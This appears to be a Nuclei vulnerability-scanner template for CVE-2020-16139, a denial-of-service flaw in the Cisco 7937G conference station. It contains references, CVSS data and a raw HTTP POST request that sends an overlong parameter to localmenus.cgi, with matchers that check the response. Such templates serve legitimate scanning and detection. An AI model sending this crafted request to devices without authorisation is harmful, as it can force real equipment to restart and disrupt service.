id: CVE-2020-16139 info: name: Cisco Unified IP Conference Station 7937G - Denial-of-Service author: pikpikcu severity: high description: | Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remotely via specially crafted packets that can cause a denial-of-service condition. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded. reference: - https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/ - http://packetstormsecurity.com/files/158819/Cisco-7937G-Denial-Of-Service.html - https://www.blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/ - https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7940g/end_of_life_notice_c51-729487.html - https://nvd.nist.gov/vuln/detail/CVE-2020-16139 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H cvss-score: 7.5 cve-id: CVE-2020-16139 epss-score: 0.00835 tags: cve,cve2020,dos,cisco,packetstorm metadata: max-request: 1 http: - raw: - | POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: status status: - 200 - type: word part: header words: - "application/xml" - type: word words: - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' # Enhanced by mp on 2022/07/13